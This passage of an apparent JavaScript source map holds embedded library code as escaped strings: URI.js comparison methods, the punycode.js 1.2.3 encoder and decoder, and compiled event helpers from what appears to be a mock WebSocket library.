relativeParts, baseParts, common, relativePath, basePath;\n\n    if (relative._parts.urn) {\n      throw new Error('URNs do not have any generally defined hierarchical components');\n    }\n\n    base = new URI(base).normalize();\n    relativeParts = relative._parts;\n    baseParts = base._parts;\n    relativePath = relative.path();\n    basePath = base.path();\n\n    if (relativePath.charAt(0) !== '/') {\n      throw new Error('URI is already relative');\n    }\n\n    if (basePath.charAt(0) !== '/') {\n      throw new Error('Cannot calculate a URI relative to another relative URI');\n    }\n\n    if (relativeParts.protocol === baseParts.protocol) {\n      relativeParts.protocol = null;\n    }\n\n    if (relativeParts.username !== baseParts.username || relativeParts.password !== baseParts.password) {\n      return relative.build();\n    }\n\n    if (relativeParts.protocol !== null || relativeParts.username !== null || relativeParts.password !== null) {\n      return relative.build();\n    }\n\n    if (relativeParts.hostname === baseParts.hostname && relativeParts.port === baseParts.port) {\n      relativeParts.hostname = null;\n      relativeParts.port = null;\n    } else {\n      return relative.build();\n    }\n\n    if (relativePath === basePath) {\n      relativeParts.path = '';\n      return relative.build();\n    }\n\n    // determine common sub path\n    common = URI.commonPath(relativePath, basePath);\n\n    // If the paths have nothing in common, return a relative URL with the absolute path.\n    if (!common) {\n      return relative.build();\n    }\n\n    var parents = baseParts.path\n      .substring(common.length)\n      .replace(/[^\\/]*$/, '')\n      .replace(/.*?\\//g, '../');\n\n    relativeParts.path = (parents + relativeParts.path.substring(common.length)) || './';\n\n    return relative.build();\n  };\n\n  // comparing URIs\n  p.equals = function(uri) {\n    var one = this.clone();\n    var two = new URI(uri);\n    var one_map = {};\n    var two_map = {};\n    var checked = {};\n    var one_query, two_query, key;\n\n    one.normalize();\n    two.normalize();\n\n    // exact match\n    if (one.toString() === two.toString()) {\n      return true;\n    }\n\n    // extract query string\n    one_query = one.query();\n    two_query = two.query();\n    one.query('');\n    two.query('');\n\n    // definitely not equal if not even non-query parts match\n    if (one.toString() !== two.toString()) {\n      return false;\n    }\n\n    // query parameters have the same length, even if they're permuted\n    if (one_query.length !== two_query.length) {\n      return false;\n    }\n\n    one_map = URI.parseQuery(one_query, this._parts.escapeQuerySpace);\n    two_map = URI.parseQuery(two_query, this._parts.escapeQuerySpace);\n\n    for (key in one_map) {\n      if (hasOwn.call(one_map, key)) {\n        if (!isArray(one_map[key])) {\n          if (one_map[key] !== two_map[key]) {\n            return false;\n          }\n        } else if (!arraysEqual(one_map[key], two_map[key])) {\n          return false;\n        }\n\n        checked[key] = true;\n      }\n    }\n\n    for (key in two_map) {\n      if (hasOwn.call(two_map, key)) {\n        if (!checked[key]) {\n          // two contains a parameter not present in one\n          return false;\n        }\n      }\n    }\n\n    return true;\n  };\n\n  // state\n  p.duplicateQueryParameters = function(v) {\n    this._parts.duplicateQueryParameters = !!v;\n    return this;\n  };\n\n  p.escapeQuerySpace = function(v) {\n    this._parts.escapeQuerySpace = !!v;\n    return this;\n  };\n\n  return URI;\n}));\n","/*! http://mths.be/punycode v1.2.3 by @mathias */\n;(function(root) {\n\n\t/** Detect free variables */\n\tvar freeExports = typeof exports == 'object' && exports;\n\tvar freeModule = typeof module == 'object' && module &&\n\t\tmodule.exports == freeExports && module;\n\tvar freeGlobal = typeof global == 'object' && global;\n\tif (freeGlobal.global === freeGlobal || freeGlobal.window === freeGlobal) {\n\t\troot = freeGlobal;\n\t}\n\n\t/**\n\t * The `punycode` object.\n\t * @name punycode\n\t * @type Object\n\t */\n\tvar punycode,\n\n\t/** Highest positive signed 32-bit float value */\n\tmaxInt = 2147483647, // aka. 0x7FFFFFFF or 2^31-1\n\n\t/** Bootstring parameters */\n\tbase = 36,\n\ttMin = 1,\n\ttMax = 26,\n\tskew = 38,\n\tdamp = 700,\n\tinitialBias = 72,\n\tinitialN = 128, // 0x80\n\tdelimiter = '-', // '\\x2D'\n\n\t/** Regular expressions */\n\tregexPunycode = /^xn--/,\n\tregexNonASCII = /[^ -~]/, // unprintable ASCII chars + non-ASCII chars\n\tregexSeparators = /\\x2E|\\u3002|\\uFF0E|\\uFF61/g, // RFC 3490 separators\n\n\t/** Error messages */\n\terrors = {\n\t\t'overflow': 'Overflow: input needs wider integers to process',\n\t\t'not-basic': 'Illegal input >= 0x80 (not a basic code point)',\n\t\t'invalid-input': 'Invalid input'\n\t},\n\n\t/** Convenience shortcuts */\n\tbaseMinusTMin = base - tMin,\n\tfloor = Math.floor,\n\tstringFromCharCode = String.fromCharCode,\n\n\t/** Temporary variable */\n\tkey;\n\n\t/*--------------------------------------------------------------------------*/\n\n\t/**\n\t * A generic error utility function.\n\t * @private\n\t * @param {String} type The error type.\n\t * @returns {Error} Throws a `RangeError` with the applicable error message.\n\t */\n\tfunction error(type) {\n\t\tthrow RangeError(errors[type]);\n\t}\n\n\t/**\n\t * A generic `Array#map` utility function.\n\t * @private\n\t * @param {Array} array The array to iterate over.\n\t * @param {Function} callback The function that gets called for every array\n\t * item.\n\t * @returns {Array} A new array of values returned by the callback function.\n\t */\n\tfunction map(array, fn) {\n\t\tvar length = array.length;\n\t\twhile (length--) {\n\t\t\tarray[length] = fn(array[length]);\n\t\t}\n\t\treturn array;\n\t}\n\n\t/**\n\t * A simple `Array#map`-like wrapper to work with domain name strings.\n\t * @private\n\t * @param {String} domain The domain name.\n\t * @param {Function} callback The function that gets called for every\n\t * character.\n\t * @returns {Array} A new string of characters returned by the callback\n\t * function.\n\t */\n\tfunction mapDomain(string, fn) {\n\t\treturn map(string.split(regexSeparators), fn).join('.');\n\t}\n\n\t/**\n\t * Creates an array containing the numeric code points of each Unicode\n\t * character in the string. While JavaScript uses UCS-2 internally,\n\t * this function will convert a pair of surrogate halves (each of which\n\t * UCS-2 exposes as separate characters) into a single code point,\n\t * matching UTF-16.\n\t * @see `punycode.ucs2.encode`\n\t * @see <http://mathiasbynens.be/notes/javascript-encoding>\n\t * @memberOf punycode.ucs2\n\t * @name decode\n\t * @param {String} string The Unicode input string (UCS-2).\n\t * @returns {Array} The new array of code points.\n\t */\n\tfunction ucs2decode(string) {\n\t\tvar output = [],\n\t\t    counter = 0,\n\t\t    length = string.length,\n\t\t    value,\n\t\t    extra;\n\t\twhile (counter < length) {\n\t\t\tvalue = string.charCodeAt(counter++);\n\t\t\tif (value >= 0xD800 && value <= 0xDBFF && counter < length) {\n\t\t\t\t// high surrogate, and there is a next character\n\t\t\t\textra = string.charCodeAt(counter++);\n\t\t\t\tif ((extra & 0xFC00) == 0xDC00) { // low surrogate\n\t\t\t\t\toutput.push(((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000);\n\t\t\t\t} else {\n\t\t\t\t\t// unmatched surrogate; only append this code unit, in case the next\n\t\t\t\t\t// code unit is the high surrogate of a surrogate pair\n\t\t\t\t\toutput.push(value);\n\t\t\t\t\tcounter--;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\toutput.push(value);\n\t\t\t}\n\t\t}\n\t\treturn output;\n\t}\n\n\t/**\n\t * Creates a string based on an array of numeric code points.\n\t * @see `punycode.ucs2.decode`\n\t * @memberOf punycode.ucs2\n\t * @name encode\n\t * @param {Array} codePoints The array of numeric code points.\n\t * @returns {String} The new Unicode string (UCS-2).\n\t */\n\tfunction ucs2encode(array) {\n\t\treturn map(array, function(value) {\n\t\t\tvar output = '';\n\t\t\tif (value > 0xFFFF) {\n\t\t\t\tvalue -= 0x10000;\n\t\t\t\toutput += stringFromCharCode(value >>> 10 & 0x3FF | 0xD800);\n\t\t\t\tvalue = 0xDC00 | value & 0x3FF;\n\t\t\t}\n\t\t\toutput += stringFromCharCode(value);\n\t\t\treturn output;\n\t\t}).join('');\n\t}\n\n\t/**\n\t * Converts a basic code point into a digit/integer.\n\t * @see `digitToBasic()`\n\t * @private\n\t * @param {Number} codePoint The basic numeric code point value.\n\t * @returns {Number} The numeric value of a basic code point (for use in\n\t * representing integers) in the range `0` to `base - 1`, or `base` if\n\t * the code point does not represent a value.\n\t */\n\tfunction basicToDigit(codePoint) {\n\t\tif (codePoint - 48 < 10) {\n\t\t\treturn codePoint - 22;\n\t\t}\n\t\tif (codePoint - 65 < 26) {\n\t\t\treturn codePoint - 65;\n\t\t}\n\t\tif (codePoint - 97 < 26) {\n\t\t\treturn codePoint - 97;\n\t\t}\n\t\treturn base;\n\t}\n\n\t/**\n\t * Converts a digit/integer into a basic code point.\n\t * @see `basicToDigit()`\n\t * @private\n\t * @param {Number} digit The numeric value of a basic code point.\n\t * @returns {Number} The basic code point whose value (when used for\n\t * representing integers) is `digit`, which needs to be in the range\n\t * `0` to `base - 1`. If `flag` is non-zero, the uppercase form is\n\t * used; else, the lowercase form is used. The behavior is undefined\n\t * if `flag` is non-zero and `digit` has no uppercase form.\n\t */\n\tfunction digitToBasic(digit, flag) {\n\t\t//  0..25 map to ASCII a..z or A..Z\n\t\t// 26..35 map to ASCII 0..9\n\t\treturn digit + 22 + 75 * (digit < 26) - ((flag != 0) << 5);\n\t}\n\n\t/**\n\t * Bias adaptation function as per section 3.4 of RFC 3492.\n\t * http://tools.ietf.org/html/rfc3492#section-3.4\n\t * @private\n\t */\n\tfunction adapt(delta, numPoints, firstTime) {\n\t\tvar k = 0;\n\t\tdelta = firstTime ? floor(delta / damp) : delta >> 1;\n\t\tdelta += floor(delta / numPoints);\n\t\tfor (/* no initialization */; delta > baseMinusTMin * tMax >> 1; k += base) {\n\t\t\tdelta = floor(delta / baseMinusTMin);\n\t\t}\n\t\treturn floor(k + (baseMinusTMin + 1) * delta / (delta + skew));\n\t}\n\n\t/**\n\t * Converts a Punycode string of ASCII-only symbols to a string of Unicode\n\t * symbols.\n\t * @memberOf punycode\n\t * @param {String} input The Punycode string of ASCII-only symbols.\n\t * @returns {String} The resulting string of Unicode symbols.\n\t */\n\tfunction decode(input) {\n\t\t// Don't use UCS-2\n\t\tvar output = [],\n\t\t    inputLength = input.length,\n\t\t    out,\n\t\t    i = 0,\n\t\t    n = initialN,\n\t\t    bias = initialBias,\n\t\t    basic,\n\t\t    j,\n\t\t    index,\n\t\t    oldi,\n\t\t    w,\n\t\t    k,\n\t\t    digit,\n\t\t    t,\n\t\t    length,\n\t\t    /** Cached calculation results */\n\t\t    baseMinusT;\n\n\t\t// Handle the basic code points: let `basic` be the number of input code\n\t\t// points before the last delimiter, or `0` if there is none, then copy\n\t\t// the first basic code points to the output.\n\n\t\tbasic = input.lastIndexOf(delimiter);\n\t\tif (basic < 0) {\n\t\t\tbasic = 0;\n\t\t}\n\n\t\tfor (j = 0; j < basic; ++j) {\n\t\t\t// if it's not a basic code point\n\t\t\tif (input.charCodeAt(j) >= 0x80) {\n\t\t\t\terror('not-basic');\n\t\t\t}\n\t\t\toutput.push(input.charCodeAt(j));\n\t\t}\n\n\t\t// Main decoding loop: start just after the last delimiter if any basic code\n\t\t// points were copied; start at the beginning otherwise.\n\n\t\tfor (index = basic > 0 ? basic + 1 : 0; index < inputLength; /* no final expression */) {\n\n\t\t\t// `index` is the index of the next character to be consumed.\n\t\t\t// Decode a generalized variable-length integer into `delta`,\n\t\t\t// which gets added to `i`. The overflow checking is easier\n\t\t\t// if we increase `i` as we go, then subtract off its starting\n\t\t\t// value at the end to obtain `delta`.\n\t\t\tfor (oldi = i, w = 1, k = base; /* no condition */; k += base) {\n\n\t\t\t\tif (index >= inputLength) {\n\t\t\t\t\terror('invalid-input');\n\t\t\t\t}\n\n\t\t\t\tdigit = basicToDigit(input.charCodeAt(index++));\n\n\t\t\t\tif (digit >= base || digit > floor((maxInt - i) / w)) {\n\t\t\t\t\terror('overflow');\n\t\t\t\t}\n\n\t\t\t\ti += digit * w;\n\t\t\t\tt = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);\n\n\t\t\t\tif (digit < t) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tbaseMinusT = base - t;\n\t\t\t\tif (w > floor(maxInt / baseMinusT)) {\n\t\t\t\t\terror('overflow');\n\t\t\t\t}\n\n\t\t\t\tw *= baseMinusT;\n\n\t\t\t}\n\n\t\t\tout = output.length + 1;\n\t\t\tbias = adapt(i - oldi, out, oldi == 0);\n\n\t\t\t// `i` was supposed to wrap around from `out` to `0`,\n\t\t\t// incrementing `n` each time, so we'll fix that now:\n\t\t\tif (floor(i / out) > maxInt - n) {\n\t\t\t\terror('overflow');\n\t\t\t}\n\n\t\t\tn += floor(i / out);\n\t\t\ti %= out;\n\n\t\t\t// Insert `n` at position `i` of the output\n\t\t\toutput.splice(i++, 0, n);\n\n\t\t}\n\n\t\treturn ucs2encode(output);\n\t}\n\n\t/**\n\t * Converts a string of Unicode symbols to a Punycode string of ASCII-only\n\t * symbols.\n\t * @memberOf punycode\n\t * @param {String} input The string of Unicode symbols.\n\t * @returns {String} The resulting Punycode string of ASCII-only symbols.\n\t */\n\tfunction encode(input) {\n\t\tvar n,\n\t\t    delta,\n\t\t    handledCPCount,\n\t\t    basicLength,\n\t\t    bias,\n\t\t    j,\n\t\t    m,\n\t\t    q,\n\t\t    k,\n\t\t    t,\n\t\t    currentValue,\n\t\t    output = [],\n\t\t    /** `inputLength` will hold the number of code points in `input`. */\n\t\t    inputLength,\n\t\t    /** Cached calculation results */\n\t\t    handledCPCountPlusOne,\n\t\t    baseMinusT,\n\t\t    qMinusT;\n\n\t\t// Convert the input in UCS-2 to Unicode\n\t\tinput = ucs2decode(input);\n\n\t\t// Cache the length\n\t\tinputLength = input.length;\n\n\t\t// Initialize the state\n\t\tn = initialN;\n\t\tdelta = 0;\n\t\tbias = initialBias;\n\n\t\t// Handle the basic code points\n\t\tfor (j = 0; j < inputLength; ++j) {\n\t\t\tcurrentValue = input[j];\n\t\t\tif (currentValue < 0x80) {\n\t\t\t\toutput.push(stringFromCharCode(currentValue));\n\t\t\t}\n\t\t}\n\n\t\thandledCPCount = basicLength = output.length;\n\n\t\t// `handledCPCount` is the number of code points that have been handled;\n\t\t// `basicLength` is the number of basic code points.\n\n\t\t// Finish the basic string - if it is not empty - with a delimiter\n\t\tif (basicLength) {\n\t\t\toutput.push(delimiter);\n\t\t}\n\n\t\t// Main encoding loop:\n\t\twhile (handledCPCount < inputLength) {\n\n\t\t\t// All non-basic code points < n have been handled already. Find the next\n\t\t\t// larger one:\n\t\t\tfor (m = maxInt, j = 0; j < inputLength; ++j) {\n\t\t\t\tcurrentValue = input[j];\n\t\t\t\tif (currentValue >= n && currentValue < m) {\n\t\t\t\t\tm = currentValue;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Increase `delta` enough to advance the decoder's <n,i> state to <m,0>,\n\t\t\t// but guard against overflow\n\t\t\thandledCPCountPlusOne = handledCPCount + 1;\n\t\t\tif (m - n > floor((maxInt - delta) / handledCPCountPlusOne)) {\n\t\t\t\terror('overflow');\n\t\t\t}\n\n\t\t\tdelta += (m - n) * handledCPCountPlusOne;\n\t\t\tn = m;\n\n\t\t\tfor (j = 0; j < inputLength; ++j) {\n\t\t\t\tcurrentValue = input[j];\n\n\t\t\t\tif (currentValue < n && ++delta > maxInt) {\n\t\t\t\t\terror('overflow');\n\t\t\t\t}\n\n\t\t\t\tif (currentValue == n) {\n\t\t\t\t\t// Represent delta as a generalized variable-length integer\n\t\t\t\t\tfor (q = delta, k = base; /* no condition */; k += base) {\n\t\t\t\t\t\tt = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);\n\t\t\t\t\t\tif (q < t) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tqMinusT = q - t;\n\t\t\t\t\t\tbaseMinusT = base - t;\n\t\t\t\t\t\toutput.push(\n\t\t\t\t\t\t\tstringFromCharCode(digitToBasic(t + qMinusT % baseMinusT, 0))\n\t\t\t\t\t\t);\n\t\t\t\t\t\tq = floor(qMinusT / baseMinusT);\n\t\t\t\t\t}\n\n\t\t\t\t\toutput.push(stringFromCharCode(digitToBasic(q, 0)));\n\t\t\t\t\tbias = adapt(delta, handledCPCountPlusOne, handledCPCount == basicLength);\n\t\t\t\t\tdelta = 0;\n\t\t\t\t\t++handledCPCount;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t++delta;\n\t\t\t++n;\n\n\t\t}\n\t\treturn output.join('');\n\t}\n\n\t/**\n\t * Converts a Punycode string representing a domain name to Unicode. Only the\n\t * Punycoded parts of the domain name will be converted, i.e. it doesn't\n\t * matter if you call it on a string that has already been converted to\n\t * Unicode.\n\t * @memberOf punycode\n\t * @param {String} domain The Punycode domain name to convert to Unicode.\n\t * @returns {String} The Unicode representation of the given Punycode\n\t * string.\n\t */\n\tfunction toUnicode(domain) {\n\t\treturn mapDomain(domain, function(string) {\n\t\t\treturn regexPunycode.test(string)\n\t\t\t\t? decode(string.slice(4).toLowerCase())\n\t\t\t\t: string;\n\t\t});\n\t}\n\n\t/**\n\t * Converts a Unicode string representing a domain name to Punycode. Only the\n\t * non-ASCII parts of the domain name will be converted, i.e. it doesn't\n\t * matter if you call it with a domain that's already in ASCII.\n\t * @memberOf punycode\n\t * @param {String} domain The domain name to convert, as a Unicode string.\n\t * @returns {String} The Punycode representation of the given domain name.\n\t */\n\tfunction toASCII(domain) {\n\t\treturn mapDomain(domain, function(string) {\n\t\t\treturn regexNonASCII.test(string)\n\t\t\t\t? 'xn--' + encode(string)\n\t\t\t\t: string;\n\t\t});\n\t}\n\n\t/*--------------------------------------------------------------------------*/\n\n\t/** Define the public API */\n\tpunycode = {\n\t\t/**\n\t\t * A string representing the current Punycode.js version number.\n\t\t * @memberOf punycode\n\t\t * @type String\n\t\t */\n\t\t'version': '1.2.3',\n\t\t/**\n\t\t * An object of methods to convert from JavaScript's internal character\n\t\t * representation (UCS-2) to Unicode code points, and back.\n\t\t * @see <http://mathiasbynens.be/notes/javascript-encoding>\n\t\t * @memberOf punycode\n\t\t * @type Object\n\t\t */\n\t\t'ucs2': {\n\t\t\t'decode': ucs2decode,\n\t\t\t'encode': ucs2encode\n\t\t},\n\t\t'decode': decode,\n\t\t'encode': encode,\n\t\t'toASCII': toASCII,\n\t\t'toUnicode': toUnicode\n\t};\n\n\t/** Expose `punycode` */\n\t// Some AMD build optimizers, like r.js, check for specific condition patterns\n\t// like the following:\n\tif (\n\t\ttypeof define == 'function' &&\n\t\ttypeof define.amd == 'object' &&\n\t\tdefine.amd\n\t) {\n\t\tdefine(function() {\n\t\t\treturn punycode;\n\t\t});\n\t}\telse if (freeExports && !freeExports.nodeType) {\n\t\tif (freeModule) { // in Node.js or RingoJS v0.8.0+\n\t\t\tfreeModule.exports = punycode;\n\t\t} else { // in Narwhal or RingoJS v0.7.0-\n\t\t\tfor (key in punycode) {\n\t\t\t\tpunycode.hasOwnProperty(key) && (freeExports[key] = punycode[key]);\n\t\t\t}\n\t\t}\n\t} else { // in Rhino or a web browser\n\t\troot.punycode = punycode;\n\t}\n\n}(this));\n","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nvar _helpersEvent = require('./helpers/event');\n\nvar _helpersEvent2 = _interopRequireDefault(_helpersEvent);\n\nvar _helpersMessageEvent = require('./helpers/message-event');\n\nvar _helpersMessageEvent2 = _interopRequireDefault(_helpersMessageEvent);\n\nvar _helpersCloseEvent = require('./helpers/close-event');\n\nvar _helpersCloseEvent2 = _interopRequireDefault(_helpersCloseEvent);\n\n/*\n* Creates an Event object and extends it to allow full modification of\n* its properties.\n*\n* @param {object} config - within config you will need to pass type and optionally target\n*/\nfunction createEvent(config) {\n  var type = config.type;\n  var target = config.target;\n\n  var eventObject = new _helpersEvent2['default'](type);\n\n  if (target) {\n    eventObject.target = target;\n    eventObject.srcElement = target;\n    eventObject.currentTarget = target;\n  }\n\n  return eventObject;\n}\n\n/*\n* Creates a MessageEvent object and extends it to allow full modification of\n* its properties.\n*\n* @param {object} config - within config you will need to pass type, origin, data and optionally target\n*/\nfunction createMessageEvent(config) {\n  var type = config.type;\n  var origin = config.origin;\n  var data = config.data;\n  var target = config.target;\n\n  var messageEvent = new _helpersMessageEvent2['default'](type, {\n    data: data,\n    origin: origin\n  });\n\n  if (target) {\n    messageEvent.target = target;\n    messageEvent.srcElement = target;\n    messageEvent.currentTarget = target;\n  }\n\n  return messageEvent;\n}\n\n/*\n* Creates a CloseEvent object and extends it to allow full modification of\n* its properties.\n*\n* @param {object} config - within config you will need to pass type and optionally target, code, and reason\n*/\nfunction createCloseEvent(config) {\n  var code = config.code;\n  var reason = config.reason;\n  var type = config.type;\n  var target = config.target;\n  var wasClean = config.wasClean;\n\n  if (!wasClean) {\n    wasClean = code === 1000;\n  }\n\n  var closeEvent = new _helpersCloseEvent2['default'](type, {\n    code: code,\n    reason: reason,\n    wasClean: wasClean\n  });\n\n  if (target) {\n    closeEvent.target = target;\n    closeEvent.srcElement = target;\n    closeEvent.currentTarget = target;\n  }\n\n  return closeEvent;\n}\n\nexports.createEvent = createEvent;\nexports.createMessageEvent = createMessageEvent;\nexports.createCloseEvent = createCloseEvent;","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nvar _helpersArrayHelpers = require('./helpers/array-helpers');\n\n/*\n* EventTarget is an interface implemented by objects that can\n* receive events and may have listeners for them.\n*\n* https://developer.mozilla.org/en-US/docs/Web/API/EventTarget\n*/\n\nvar EventTarget = (function () {\n  function EventTarget() {\n    _classCallCheck(this, EventTarget);\n\n    this.listeners = {};\n  }\n\n  /*\n  * Ties a listener function to a event type which can later be invoked via the\n  * dispatchEvent method.\n  *\n  * @param {string} type - the type of event (ie: 'open', 'message', etc.)\n  * @param {function} listener - the callback function to invoke whenever a event is dispatched matching the given type\n  * @param {boolean} useCapture - N/A TODO: implement useCapture functionality\n  */\n\n  _createClass(EventTarget, [{\n    key: 'addEventListener',\n    value: function addEventListener(type, listener /* , useCapture */) {\n      if (typeof listener === 'function') {\n        if (!Array.isArray(this.listeners[type])) {\n          this.listeners[type] = [];\n        }\n\n        // Only add the same function once\n        if ((0, _helpersArrayHelpers.filter)(this.listeners[type], function (item) {\n          return item === listener;\n        }).length === 0) {\n          this.listeners[type].push(listener);\n        }\n      }\n    }\n\n    /*\n    * Removes the listener so it will no longer be invoked via the dispatchEvent method.\n    *\n    * @param {string} type - the type of event (ie: 'open', 'message', etc.)\n    * @param {function} listener - the callback function to invoke whenever a event is dispatched matching the given type\n    * @param {boolean} useCapture - N/A TODO: implement useCapture functionality\n    */\n  }, {\n    key: 'removeEventListener',\n    value: function removeEventListener(type, removingListener /* , useCapture */) {\n      var arrayOfListeners = this.listeners[type];\n      this.listeners[type] = (0, _helpersArrayHelpers.reject)(arrayOfListeners, function (listener) {\n        return listener === removingListener;\n      });\n    }\n\n    /*\n    * Invokes all listener functions that are listening to the given event.type property. Each\n    * listener will be passed the event as the first argument.\n    *\n    * @param {object} event - event object which will be passed to all listeners of the event.type property\n    */\n  }, {\n    key: 'dispatchEvent',\n    value: function dispatchEvent(event) {\n      var _this = this;\n\n      for (var _len = arguments.length, customArguments = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n        customArguments[_key - 1] = arguments[_key];\n      }\n\n      var eventName = event.type;\n      var listeners = this.listeners[eventName];\n\n      if (!Array.isArray(listeners)) {\n        return false;\n      }\n\n      listeners.forEach(function (listener) {\n        if (customArguments.length > 0) {\n          listener.apply(_this, customArguments);\n        } else {\n          listener.call(_this, event);\n        }\n      });\n    }\n  }]);\n\n  return EventTarget;\n})();\n\nexports['default'] = EventTarget;\nmodule.exports = exports['default'];","\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.reject = reject;\nexports.filter = filter;\n\nfunction reject(array, callback) {\n  var results = [];\n  array.forEach(function (itemInArray) {\n    if (!callback(itemInArray)) {\n      results.push(itemInArray);\n    }\n  });\n\n  return results;\n}\n\nfunction filter(array, callback) {\n  var results = [];\n  array.forEach(function (itemInArray) {\n    if (callback(itemInArray)) {\n      results.push(itemInArray);\n    }\n  });\n\n  return results;\n}","/*\n* https://developer.mozilla.org/en-US/docs/Web/API/CloseEvent\n*/\n\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nvar codes = {\n  CLOSE_NORMAL: 1000,\n  CLOSE_GOING_AWAY: 1001,\n  CLOSE_PROTOCOL_ERROR: 1002,\n  CLOSE_UNSUPPORTED: 1003,\n  CLOSE_NO_STATUS: 1005,\n  CLOSE_ABNORMAL: 1006,\n  CLOSE_TOO_LARGE: 1009\n};\n\nexports[\"default\"] = codes;\nmodule.exports = exports[\"default\"];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nvar _eventPrototype = require('./event-prototype');\n\nvar _eventPrototype2 = _interopRequireDefault(_eventPrototype);\n\nvar CloseEvent = (function (_EventPrototype) {\n  _inherits(CloseEvent, _EventPrototype);\n\n  function CloseEvent(type) {\n    var eventInitConfig = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];\n\n    _classCallCheck(this, CloseEvent);\n\n    _get(Object.getPrototypeOf(CloseEvent.prototype), 'constructor', this).call(this);\n\n    if (!type) {\n      throw new TypeError('Failed to construct \\'CloseEvent\\': 1 argument required, but only 0 present.');\n    }\n\n    if (typeof eventInitConfig !== 'object') {\n      throw new TypeError('Failed to construct \\'CloseEvent\\': parameter 2 (\\'eventInitDict\\') is not an object');\n    }\n\n    var bubbles = eventInitConfig.bubbles;\n    var cancelable = eventInitConfig.cancelable;\n    var code = eventInitConfig.code;\n    var reason = eventInitConfig.reason;\n    var wasClean = eventInitConfig.wasClean;\n\n    this.type = String(type);\n    this.timeStamp = Date.now();\n    this.target = null;\n    this.srcElement = null;\n    this.returnValue = true;\n    this.isTrusted = false;\n    this.eventPhase = 0;\n    this.defaultPrevented = false;\n    this.currentTarget = null;\n    this.cancelable = cancelable ? Boolean(cancelable) : false;\n    this.canncelBubble = false;\n    this.bubbles = bubbles ? Boolean(bubbles) : false;\n    this.code = typeof code === 'number' ? Number(code) : 0;\n    this.reason = reason ? String(reason) : '';\n    this.wasClean = wasClean ? Boolean(wasClean) : false;\n  }\n\n  return CloseEvent;\n})(_eventPrototype2['default']);\n\nexports['default'] = CloseEvent;\nmodule.exports = exports['default'];","/*\n* This delay allows the thread to finish assigning its on* methods\n* before invoking the delay callback. This is purely a timing hack.\n* http://geekabyte.blogspot.com/2014/01/javascript-effect-of-setting-settimeout.html\n*\n* @param {callback: function} the callback which will be invoked after the timeout\n* @parma {context: object} the context in which to invoke the function\n*/\n\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nfunction delay(callback, context) {\n  setTimeout(function timeout(timeoutContext) {\n    callback.call(timeoutContext);\n  }, 4, context);\n}\n\nexports[\"default\"] = delay;\nmodule.exports = exports[\"default\"];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nvar EventPrototype = (function () {\n  function EventPrototype() {\n    _classCallCheck(this, EventPrototype);\n  }\n\n  _createClass(EventPrototype, [{\n    key: 'stopPropagation',\n\n    // Noops\n    value: function stopPropagation() {}\n  }, {\n    key: 'stopImmediatePropagation',\n    value: function stopImmediatePropagation() {}\n\n    // if no arguments are passed then the type is set to \"undefined\" on\n    // chrome and safari.\n  }, {\n    key: 'initEvent',\n    value: function initEvent() {\n      var type = arguments.length <= 0 || arguments[0] === undefined ? 'undefined' : arguments[0];\n      var bubbles = arguments.length <= 1 || arguments[1] === undefined ? false : arguments[1];\n      var cancelable = arguments.length <= 2 || arguments[2] === undefined ? false : arguments[2];\n\n      